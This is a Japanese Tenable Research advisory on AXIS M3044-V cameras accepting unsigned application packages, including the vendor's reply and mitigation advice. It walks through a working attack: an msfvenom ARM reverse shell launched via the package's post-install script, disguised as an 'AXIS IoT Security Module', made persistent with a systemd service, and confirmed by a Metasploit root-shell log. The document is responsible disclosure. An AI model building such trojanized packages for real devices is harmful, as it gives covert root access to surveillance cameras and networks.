Tenable ブログ
ブログ通知を受信するTenable Researchアドバイザリー:不正なパッケージ配布に対するAXISカメラアプリの弱点
Tenable Research は最近、AXIS M3044-Vネットワークカメラを監査し、AXISがカメラにアプリケーションプラットフォームを導入したことを知りました。カメラには、あらかじめインストールされたアプリも付属していました: AXIS Video Motion Detectionというアプリもプリインストールされています。この監査では、悪意のあるアクターがファームウェアを改ざんし、有害なパッケージに置き換えることが可能であることが発見されました。
知る必要のある事柄は?Tenable Researchは、AXIS M3044-Vネットワークカメラで使用されている基盤となるオペレーティングシステムを改ざんし、悪意のあるパッケージで置き換えることが可能であることを発見しました。
攻撃経路とは?悪意のある者が、AXISカメラのアプリケーションプラットフォームを利用して無署名のアプリケーションパッケージを作成し、インストールする可能性があります。その場合、認証済みのアクセスが必要になりますが、悪意のあるアクターがソーシャルエンジニアリングやサプライチェーンを使ってアクセス権を取得すれば、当該デバイスに対する完全なrootアクセス権限を保持することになります。
事業影響度は?有害なパッケージは、正当なユーザーにマルウェアを配布するために使われたり、水平伝播を行うためのピボットポイントとして使われたりする可能性があります。物理的なセキュリティやCCTV運用も侵害されるおそれがあります。
ソリューションは?現在のところ、ベンダーによるソリューションは提供されていません。現在販売されているすべてのAXISカメラは、サードパーティー製パッケージのインストールをサポートしています。Tenableでは、影響を受けるデバイスをセグメント化したネットワーク内に配備し、承認されたユーザーからのみにアクセスを制限することを推奨しています。
背景
AXIS M3044-Vはネットワークに接続された小型のドーム型監視カメラで、物理的なセキュリティおよびCCTVとして小売店、ホテル、学校、銀行、オフィス向けに市販されています。
AXISカメラアプリケーションプラットフォーム(ACAP)は、サードパーティ開発者がAXISネットワークカメラやビデオエンコーダーにインストール可能なアプリケーションを開発するために使用できる、オープンソースのアプリケーションプラットフォームです。
攻撃者の観点から見ると、マルウェアを簡単に配布したりインストールしたりするツールとなり得る、内蔵デバイス上のアプリケーションプラットフォームは興味深いターゲットです。有害なファームウェアの作成は時間がかかり、困難な作業です。さらに、多くの内蔵システムでは、ファームウェアへのデジタル署名が必須になっています。このことは、控えめに言っても、攻撃者が動くのを難しくします。よく設計されたアプリケーションプラットフォームであれば、アプリへの署名が必須とされているはずだ、と当然考えることでしょう。それでは、AXISの対応を確認しましょう。
分析
最初に把握しなければならないことは、AXISで使用できるアプリのフォーマットです。以下の図からわかるように、このカメラは eap拡張子のアプリに対応しています。
幸いなことに、カメラにはアプリがプリインストールされ、ファームウェア内のeapファイルを見つけることができます。 eapgzipで圧縮されたタールにすぎません。
albinolobster@ubuntu:~/_M3044-V_8_10_1.bin.extracted$ find . | grep eap ./ubifs-root/usr/share/packages/AXIS_Video_Motion_Detection_4_2_0_armv7hf.eap albinolobster@ubuntu:~/_M3044-V_8_10_1.bin.extracted$ file ./ubifs-root/usr/share/packages/AXIS_Video_Motion_Detection_4_2_0_armv7hf.eap ./ubifs-root/usr/share/packages/AXIS_Video_Motion_Detection_4_2_0_armv7hf.eap: gzip compressed data, last modified:Tue Dec 19 15:24:07 2017, from Unix |
解凍すると、バイナリ、いくつかの設定ファイル、およびいくつかのHTMLがパッケージに表示されます。
albinolobster@ubuntu:~/_M3044-V_8_10_1.bin.extracted/decomp_eap$ ls -l 総計 468 -rw-r--r-- 1 albinolobster albinolobster 27 Dec 19 10:15 cgi.txt drwxr-xr-x 6 albinolobster albinolobster 4096 Dec 19 10:22 html -rw-r--r-- 1 albinolobster albinolobster 585 Dec 19 10:24 package.conf -rw-r--r-- 1 albinolobster albinolobster 0 Dec 19 10:15 param.conf -rwxr-xr-x 1 albinolobster albinolobster 465972 Dec 19 10:24 vmd albinolobster@ubuntu:~/_M3044-V_8_10_1.bin.extracted/decomp_eap$ file vmd vmd:ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.10.0, stripped |
そのpackage.confファイルには、vmdバイナリをインストールおよび実行するためのすべての命令が含まれているようです。
albinolobster@ubuntu:~/_M3044-V_8_10_1.bin.extracted/decomp_eap$ cat package.conf PACKAGENAME="AXIS Video Motion Detection" MENUNAME="Motion Detection" APPTYPE="armv7hf" APPNAME="vmd" APPID="143440" LICENSEPAGE="none" VENDOR="Axis Communications" REQEMBDEVVERSION="2.12" APPMAJORVERSION="4" APPMINORVERSION="2" APPMICROVERSION="0" APPGRP="sdk" APPUSR="sdk" APPOPTS="" OTHERFILES="" SETTINGSPAGEFILE="config.html" SETTINGSPAGETEXT="AXIS Video Motion Detection settings" VENDORHOMEPAGELINK='<a href="http://www.axis.com" target="_blank">www.axis.com</a>' POSTINSTALLSCRIPT="" STARTMODE="respawn" HTTPCGIPATHS="cgi.txt" CERTSETNAME="" CERTSETACTOR="" CERTSETPROTOCOL="" |
カスタムアプリケーションを作成する明白なアプローチは、単にvmdを独自のバイナリに置き換えることです。そのために、msfvenomを使用してvmdを置き換えるリトルエンディアンARMリバースシェルを生成しました。私はパッケージを再圧縮し、アップロードしようとしました。残念ながら、私は 「It did not work!」というエラーメッセージを受け取りました。そのアプリケーションは何らかの方法で署名できますか?おそらくそのバイナリが遵守すべきAPIがありますね?。
これらのウサギの巣穴を掘る前に、package.confのPOSTINSTALLSCRIPTフィールドを見てみましょう。それは私たちが選んだスクリプトを実行するようではないですか?それをテストするため、 vmdのバイナリを元の状態に戻し、リバースシェルの名前 rev_shell.binに変更し、リバースシェルを実行するための rev_shell.sh というbashスクリプトを作成し、package.confファイルにPOSTINSTALLSCRIPT=”rev_shell.sh.”
eapの再パッケージングとアップロードの後に、以下が返されました:
msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.222:1270 [*] Command shell session 15 opened (192.168.1.222:1270 -> 192.168.1.183:46518) at 2018-01-29 09:39:35 -0500 id uid=0(root) gid=0(root) |
どのタイプのパッケージ署名も問題なさそうです。また、元のVMDインストールを上書きしている点にも注目してください。これでさっぱりしました!ここでの問題は、リバースシェルがインストール後にしか起動しないという点です。つまり、種類はどうあれ、リブートが実行されるとカメラとの接続は切断されてしまいます。また、VMDを上書きしたため、今回の修正内容が今後の更新で失われてしまう可能性があります。このような状況で動作する独自のアプリを作成できるかどうか、見てみましょう。
これは隠すためのものではないので、今後の更新で上書きされないようにするための最初のステップは、独自のアプリケーションを作成することです。これは、設定ファイルのいくつかの項目を変更することで簡単に行えます。私たちの目標は、故意のないサードパーティはアプリケーションをインストールできる(またはサプライチェーン攻撃があっても削除されないようにする)ことなので、アプリケーション名を「AXIS IoTセキュリティモジュール」とし、vmdの名前を適切に変更します:
PACKAGENAME="AXIS IoT Security Module" MENUNAME="IoT Security" APPTYPE="armv7hf" APPNAME="iot_security" APPID="143441" LICENSEPAGE="none" VENDOR="Axis Communications" REQEMBDEVVERSION="2.12" APPMAJORVERSION="1" APPMINORVERSION="0" APPMICROVERSION="0" |
これでも、問題の半分はまだ解決していません。もう一度、ステルスは目標ではないので、システムの残りの部分と同様にsystemdを使用することができます。リバースシェルの名前をsecurity_daemonに変更し、次のサービスファイルを作成します:
[Unit] Description=iot_security_daemon After=httpd.service [Service] Type=simple ExecStart=/usr/local/packages/iot_security/security_daemon Restart=always [Install] WantedBy=multi-user.target |
次に、systemdでリバースシェルを登録するようにポストインストールスクリプトを更新します。
#!/bin/sh cp /usr/local/packages/iot_security/iot_security_daemon.service /etc/systemd/system/ && systemctl daemon-reload && systemctl enable iot_security_daemon.service && systemctl start iot_security_daemon.service |
さて、準備ができました。すべてのファイルをeapに再パッケージし、もう一度、リバースシェルを取得します。カメラが再起動したり、ファームウェアが更新されたりすると、シェルが復帰します。ただし、リバースシェルは工場出荷設定へのリセットでは復活しません。
ベンダー応答
責任開示ポリシーに従い、上記をはじめとする調査結果を、2017年8月後半に最初にAXISに報告しました。数回の話し合いを経ての、AXISからの最終的な声明は次のようなものでした。
ACAPセキュリティに関してご指摘いただいたすべての問題点は正当であり、詐欺、不審なアプリサイト、フィッシングが横行する現代において、まったく起こりえないとは言い切れません。しかしながら、社内で何度か協議した結果、現時点ではACAP問題に関するアドバイザリーを公開しないというスタンスを取ることに決定しました。SDK開発者の大半は、こうした制限ならびに、他の問題とは違い、互換性を損なわずに簡単に問題を解決する方法はあり得ないということを理解しています(例外として、不備をご指摘いただいた、すべてのダウンロードリンクに対するSHA256チェックサムは公開いたします)。次世代ACAPプラットフォームでは、ACAP署名に対応することにより、この問題に対処する予定です。異論がおありの場合には、ご連絡ください。AXIS ACAPは、(現時点では)PlayストアやAppストアのように広く流通してはいませんが、署名が今後のバージョンに必ず実装すべき本質的な改善点であることに、当社としても完全に同意いたします。 |
事業影響度
カメラに有害なパッケージがインストールされると、正当なユーザーにマルウェアを配布するため、あるいは水平伝播を行うためのピボットポイントとして使われる可能性があります。物理的なセキュリティやCCTV運用も侵害されるおそれがあります。
ソリューション
我々の責任ある開示の方針に従い、2017年8月下旬にAXISに報告しました。 AXIS Webインターフェイス検出プラグイン を使用すると、設置したAXISカメラを識別して、この種の攻撃を受ける危険性があるかどうかを判断できます。
Tenableでは、該当デバイスをセグメント化ネットワーク内に展開し、アクセス制御や認証制御により、許可を受けたユーザーだけが使用できるようにすることをお勧めします。
関連記事
- Plugins